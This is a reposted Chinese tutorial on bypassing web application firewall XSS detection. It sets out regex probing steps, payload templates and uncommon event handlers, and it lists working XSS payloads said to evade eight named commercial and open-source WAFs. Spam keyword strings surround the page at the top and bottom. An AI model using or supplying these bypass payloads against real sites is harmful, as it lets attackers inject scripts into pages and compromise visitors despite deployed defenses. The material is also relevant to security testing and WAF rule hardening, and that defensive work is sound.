中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何繞過WAF的XSS檢測機制

發布時間:2021-12-22 17:10:02 來源:億速云 閱讀:203 作者:柒染 欄目:網絡管理

本篇文章給大家分享的是有關如何繞過WAF的XSS檢測機制,小編覺得挺實用的,因此分享給大家學習,希望大家閱讀完這篇文章后可以有所收獲,話不多說,跟著小編一起來看看吧。

概述

本文提出了一種繞過XSS安全機制的新型方法,這種技術由三個階段組成:確定Payload結構、探測和混淆處理。首先,我們需要針對給定的上下文環境,確定各種不同的Payload結構以達到最優的測試效果。接下來就是探測,這里涉及到根據目標所實現的安全機制來進行各種字符串測試,并分析目標的響應數據以便基于分析結果來做出安全假設。最后,根據分析結果來判斷是否要對Payload進行混淆處理或結構調整。

介紹

XSS是Web應用程序中常見的漏洞之一,網站管理員可以通過用戶輸入過濾、根據上下文轉換輸出數據、正確使用DOM、強制執行跨源資源共享(CORS)策略以及其他的安全策略來規避XSS漏洞。盡管現在有很多預防XSS攻擊的技術,但Web應用程序防火墻(WAF)或自定義數據過濾器是目前使用比較廣泛的安全保護技術了,很多廠商都會利用這些技術來抵御新型的XSS攻擊向量。雖然WAF廠商仍在嘗試引入機器學習技術,但基于正則表達式的字符串檢測方法仍是目前最廣泛使用的技術。

下面提出了一種構造XSS Payload的新型方法,這種方法構造出來的XSS Payload可以繞過基于正則表達式匹配的安全機制。

HTML上下文

當用戶的輸入數據映射在Web頁面的HTML代碼中時,這種場景就是我們所謂的HTML上下文。HTML上下文可以根據用戶輸入在代碼中的映射位置來進一步劃分成:

1、 標簽內:<inputtype="text" value="$input">

2、 標簽外:<span>Youentered $input</span>

標簽外

在這種上下文場景中,主要字符“<”代表HTML標簽的起始。根據HTML定義,標簽名必須以字母作為開頭,因此我們可以利用下面的規則來判斷用來匹配標簽名的正則表達式:

1、<svg – 如果通過,表明沒有進行任何標簽檢測;

2、<dev – 如果無法通過,則為<[a-z]+;

3、x<dev – 如果通過,則為^<[a-z]+;

4、<dEv - 如果無法通過,則為<[a-zA-Z]+;

5、<d3V - 如果無法通過,則為<[a-zA-Z0-9]+;

6、<d|3v - 如果無法通過,則為<.+;

如果上述方式均無法探測成功,則說明目標站點部署的安全機制無法被繞過。這種方式的假陽性率非常高,因此不鼓勵使用。如果上述探測方式有一個可行,那么可用來構造Payload的機制就非常多了。

Payload機制#1

<{tag}{filler}{event_handler}{?filler}={?filler}{javascript}{?filler}{>,//,Space,Tab,LF}

找到{tag}的合適值之后,就需要猜測用于匹配標簽和事件處理器間數據過濾器的正則表達式了。這一步可以使用下面的探測機制來實現:

1、<tag xxx - 如果無法通過,則為{space};

2、<tag%09xxx - 如果無法通過,則為[\s];

3、<tag%09%09xxx - 如果無法通過,則為\s+;

4、<tag/xxx - 如果無法通過,則為[\s/]+;

5、<tag%0axxx- 如果無法通過,則為[\s\n]+;

6、<tag%0dxxx>- 如果無法通過,則為[\s\n\r+]+;

7、<tag/~/xxx - 如果無法通過,則為.*+;

這個組件(例如事件處理器)是Payload結構中最關鍵的部分。通常,匹配它的是常規正則表達式(例如“on\w+”)或黑名單(例如“on(load|click|error|show)”)。第一個正則表達式非常嚴格,很難繞過,而基于黑名單的模式可以通過不常用的事件處理器來繞過。安全機制的實現類型可以通過下面兩種簡單的方法來識別:

1、<tag{filler}onxxx - 如果無法通過,則為on\w+。如果通過,則為on(load|click|error|show);

2、<tag{filler}onclick- 如果通過,則表明沒有事件處理器檢測正則表達式;

下面是一些防火墻黑名單中沒標記的事件處理器:

onauxclick
ondblclick
oncontextmenu
onmouseleave
ontouchcancel

常用的Payload結束符如下:

<payload>
<payload
<payload{space}
<payload//
<payload%0a
<payload%0d
<payload%09

Payload機制#2

<sCriPt{filler}sRc{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}

使用了<object>標簽的Payload可以利用下面的Payload機制來構建:

<obJecT{filler}data{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}

Payload機制#3

這種Payload機制有兩種形式:明文或混淆處理。

明文結構如下:

<A{filler}hReF{?filler}={?filler}JavaScript:{javascript}{?filler}{>,//,Space,Tab,LF}

混淆處理后的Payload結構如下:

<A{filler}hReF{?filler}={?filler}{quote}{special}:{javascript}{quote}{?filler}{>,//,Space,Tab,LF}

JavaScript上下文

Payload機制#1

{quote}{delimiter}{javascript}{delimiter}{quote}

可用的Payload有:

'^{javascript}^'
'*{javascript}*'
'+{javascript}+'
'/{javascript}/'
'%{javascript}%'
'|{javascript}|'
'<{javascript}<'
'>{javascript}>'

Payload機制#2

{quote}{delimiter}{javascript}//

可以使用下列Payload機制來構建Payload:

'<{javascript}//'
'|{javascript}//'
'^{javascript}//'

防火墻繞過

在研究過程中,總共繞過了八款WAF。下面的列表包含了可繞過的WAF、Paylaod以及相關的繞過技術:

WAF名稱:Cloudflare

Payload:<a"/onclick=(confirm)()>click

繞過技術:非空格填充

WAF名稱:Wordfence

Payload:<a/href=javascript&ampcolon;alert()>click

繞過技術:數字字符編碼

WAF名稱:Barracuda

Payload:<a/href=&amp#74;ava%0a%0d%09script&ampcolon;alert()>click

繞過技術:數字字符編碼

WAF名稱:Akamai

Payload:<d3v/onauxclick=[2].some(confirm)>click

繞過技術:黑名單中缺少事件處理器以及函數調用混淆

WAF名稱:Comodo

Payload:<d3v/onauxclick=(((confirm)))``>click

繞過技術:黑名單中缺少事件處理器以及函數調用混淆

WAF名稱:F5

Payload:<d3v/onmouseleave=[2].some(confirm)>click

繞過技術:黑名單中缺少事件處理器以及函數調用混淆

WAF名稱:ModSecurity

Payload:<details/open/ontoggle=alert()>

繞過技術:黑名單中缺少標簽或事件處理器

WAF名稱:dotdefender

Payload:<details/open/ontoggle=(confirm)()//

繞過技術:黑名單中缺少結束標簽、事件處理器和函數調用混淆

以上就是如何繞過WAF的XSS檢測機制,小編相信有部分知識點可能是我們日常工作會見到或用到的。希望你能通過這篇文章學到更多知識。更多詳情敬請關注億速云行業資訊頻道。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

潞城市| 建瓯市| 巴马| 福安市| 宣城市| 德化县| 西青区| 香格里拉县| 简阳市| 凌源市| 井研县| 吕梁市| 鹰潭市| 奇台县| 昌吉市| 嵊泗县| 邛崃市| 五指山市| 云和县| 临澧县| 南郑县| 红桥区| 大化| 平罗县| 靖边县| 临潭县| 康马县| 新化县| 蕲春县| 土默特左旗| 江源县| 威远县| 佛学| 盐边县| 朝阳区| 望谟县| 昌黎县| 重庆市| 秦皇岛市| 灌阳县| 康马县|